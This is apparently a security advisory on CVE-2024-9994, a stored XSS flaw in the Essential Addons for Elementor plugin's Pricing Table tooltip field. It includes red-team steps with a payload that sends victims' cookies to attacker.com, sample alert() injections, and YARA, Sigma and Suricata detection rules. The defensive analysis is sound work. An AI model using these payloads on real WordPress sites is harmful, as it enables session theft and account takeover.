CVE-2024-9994

Executive Summary

CVE-2024-9994 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Essential Addons for Elementor WordPress plugin, developed by Wpdeveloper. This plugin is widely used to extend the functionality of the Elementor page builder with additional widgets, templates, and WooCommerce features. The flaw resides in the Pricing Table Widget, specifically within the eael_pricing_item_tooltip_content parameter. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) visits a page containing the maliciously crafted Pricing Table, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 6.1.12. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Essential Addons for Elementor plugin. It is not related to Apache, Nginx, or any underlying server software. The risk is amplified because the plugin is distributed through the official WordPress Plugin Directory and is actively maintained by Wpdeveloper. Users who have installed this plugin from the directory are directly affected. The lack of a patch increases the supply chain risk, as site administrators must rely on manual workarounds or third-party security plugins to mitigate the threat until an official update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs Contributor-level access or higher.
• User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and lateral movement within a WordPress site makes this a significant concern for multi-user environments.

Deep Dive & Mechanics

The vulnerability is a classic Stored Cross-Site Scripting (XSS) flaw. The Pricing Table Widget in Essential Addons for Elementor allows users to add tooltip content to pricing items. The eael_pricing_item_tooltip_content parameter is intended to accept HTML for rich tooltips. However, the plugin fails to properly sanitize and escape this input before storing it in the database and rendering it on the frontend.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page using the Elementor editor.
2. The attacker adds the Pricing Table widget and inserts a malicious payload into the eael_pricing_item_tooltip_content field. For example:

   <img src=x onerror=alert('XSS')>
   

3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the Pricing Table widget renders the tooltip content, executing the injected script.
5. The script runs in the context of the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the site.

Root Cause: The plugin uses esc_attr() or similar functions for some attributes but fails to apply wp_kses() or htmlspecialchars() to the tooltip content parameter, allowing arbitrary HTML and JavaScript to be injected.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Example from version 6.1.12):

// In the Pricing Table widget render method
$tooltip_content = $settings['eael_pricing_item_tooltip_content'];
echo '<div class="eael-pricing-tooltip">' . $tooltip_content . '</div>';

Patched Code (Expected fix):

// Properly escape the output
$tooltip_content = $settings['eael_pricing_item_tooltip_content'];
echo '<div class="eael-pricing-tooltip">' . wp_kses_post( $tooltip_content ) . '</div>';

The wp_kses_post() function strips dangerous HTML tags and attributes, allowing only safe content.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Essential Addons for Elementor version <= 6.1.12.
• A user account with Contributor-level permissions or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Pricing Table widget to the page.
4. In the widget settings, locate the Tooltip Content field for any pricing item.
5. Inject a malicious payload, such as:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

6. Save and publish the page.
7. When an administrator or other user visits the page, the script executes, sending their cookies to the attacker's server.

Note: No public exploit code is available at this time. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block common XSS payloads in POST requests to wp-admin/admin-ajax.php or Elementor endpoints.
• Input Validation: Use a security plugin (e.g., Wordfence, Sucuri) to enforce strict input validation on all Elementor widget fields.
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and limit script sources.
• User Training: Restrict Contributor-level access to trusted users only. Regularly audit user permissions.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install Elementor and Essential Addons for Elementor version 6.1.12.
3. Create a Contributor user account.
4. Follow the Red Team steps to reproduce the vulnerability.
5. Monitor server logs and browser console for XSS execution.

Indicators of Compromise (IOCs)

• Suspicious POST requests to /wp-admin/admin-ajax.php containing eael_pricing_item_tooltip_content with HTML/JavaScript payloads.
• Unexpected JavaScript execution on pages using the Pricing Table widget.
• Outbound connections from the WordPress server to unknown domains (e.g., attacker-controlled servers).
• Modified database entries in the wp_postmeta table containing malicious script tags in the _elementor_data meta key.

Example IOC (Log Entry):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded
...
action=elementor_ajax&eael_pricing_item_tooltip_content=<img src=x onerror=alert(1)>

Detection Engineering

YARA Rule

rule CVE_2024_9994_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Essential Addons for Elementor Pricing Table widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9994"
    strings:
        $payload1 = /eael_pricing_item_tooltip_content[^<]*<script/i
        $payload2 = /eael_pricing_item_tooltip_content[^<]*<img[^>]+onerror/i
        $payload3 = /eael_pricing_item_tooltip_content[^<]*<svg[^>]+onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9994 Stored XSS in Essential Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS via the Pricing Table widget tooltip content parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-request-body|contains: 'eael_pricing_item_tooltip_content'
        cs-request-body|re: '(<script|<img[^>]+onerror|<svg[^>]+onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tooltips (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9994 Stored XSS in Essential Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"eael_pricing_item_tooltip_content"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Pricing Table Widget if not in use, or restrict its usage to trusted users only.
2. Apply a Virtual Patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests containing eael_pricing_item_tooltip_content with suspicious patterns.
3. Audit User Roles – Ensure only necessary users have Contributor-level access or higher.

Long-Term Fix:

• Monitor the Plugin Repository for an official patch. Once released, update to the patched version immediately.
• Implement a Content Security Policy (CSP) to mitigate XSS impact even if a vulnerability exists.
• Use a Security Plugin (e.g., Wordfence) that can block XSS attempts at the application layer.

Workaround (if patching is not possible):

• Manually edit the plugin file (e.g., /wp-content/plugins/essential-addons-for-elementor/includes/Widgets/Pricing_Table.php) and wrap the tooltip output with wp_kses_post(). Note: This will be overwritten on plugin update.

Valters IT
Securing Digital Frontiers